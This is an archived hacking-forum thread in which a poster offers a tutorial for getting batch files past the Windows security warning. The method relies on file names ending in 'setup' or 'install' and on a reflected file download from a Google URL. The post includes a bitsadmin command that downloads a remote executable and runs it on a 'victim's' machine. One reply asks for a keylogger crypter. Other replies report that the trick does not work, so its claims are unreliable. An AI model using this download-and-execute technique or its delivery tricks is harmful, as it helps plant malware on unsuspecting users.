+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [WINDOWS SECURITY BYPASS] BYPASS WINDOWS SECURITY WARNING (/showthread.php?tid=5246709)
[WINDOWS SECURITY BYPASS] BYPASS WINDOWS SECURITY WARNING - Demoralise - Apr 23, 2016
This is a simple, short yet hopefully still HQ tutorial in which I'll be sharing some important information with you.
You know how whenever you download an exe, bat, cmd or any other file from the internet how a Windows security warning pops up when you attempt to execute the downloaded file? Not any more!
This Windows security bypass affects the downloads of .bat files.
If a .bat file contains any of the following at the end of the file name, the file will completely bypass the warning upon execution:
setup.bat
Setup.bat
update.bat
Update.bat
install.bat
Install.bat
You can have any characters/text you want in front, it will still work 🤝
How is this dangerous?
A hacker might want to run a very small payload on a victims machine. Inside the .bat file is this code:
@echo off
cmd.exe /c "bitsadmin /transfer test /download /priority high http://dl.google.com/chrome/install/154.36/chrome_installer.exe C:\chrome_installer.exe&start http://dl.google.com/chrome/install/154.36/chrome_installer.exe"
The above will download the payload (in this case Chrome) onto the victims computer, save it in the file path provided (C:\) and then execute the file right after execution of the batch file, in which there is no security warning.
Now an example of this security warning bypass on a trusted host (Google) through a reflected file download vulnerability in Google Finance (many people would download and execute the file since it appears to be coming from Google's own host):
http://www.google.com/finance/info;ChromeSetup.bat?q=ELI:ALTR&callback=gpedit.msc
An example not bypassing the warning:
www.google.com/finance/info;a.bat?q=ELI:ALTR&callback=gpedit.msc
Enjoy,
Demoralise
* - skidhackz - Jul 29, 2016
This didn't work.I uploaded a bat to rghost using all of the aboves at the end of the file and I always get a security warning.
* - tahirprince3 - Jul 31, 2016
Working on indows 7 🤝
* - lazbery4u - Jul 31, 2016
do you have crytper for keylogger ?
* - Demoralise - Jul 31, 2016
(Jul 29, 2016 07:15 AM)stefanosstef Wrote: This didn't work.I uploaded a bat to rghost using all of the aboves at the end of the file and I always get a security warning.Only works on Windows Vista and Windows 7.
* - skidhackz - Aug 1, 2016
(Jul 31, 2016 07:59 PM)Demoralise Wrote: Only works on Windows Vista and Windows 7.
I tried it on Windows 7
* - Demoralise - Aug 1, 2016
(Aug 1, 2016 06:50 AM)stefanosstef Wrote: I tried it on Windows 7Probably because you are using rghost. Try with hostr.co or Sendspace.
* - skidhackz - Aug 3, 2016
(Aug 1, 2016 08:54 PM)Demoralise Wrote: Probably because you are using rghost. Try with hostr.co or Sendspace.
I used Facebook and messaged myself.Do you even test these suggestions?hostr.co caused Chrome to block the bat file, I put it in zip and it blocked the zip too.Sendspace doesn't allow .bat files at all, so I uploaded zip and got the "Open file - Security Warning" as usual.I wish it could work but it doesn't.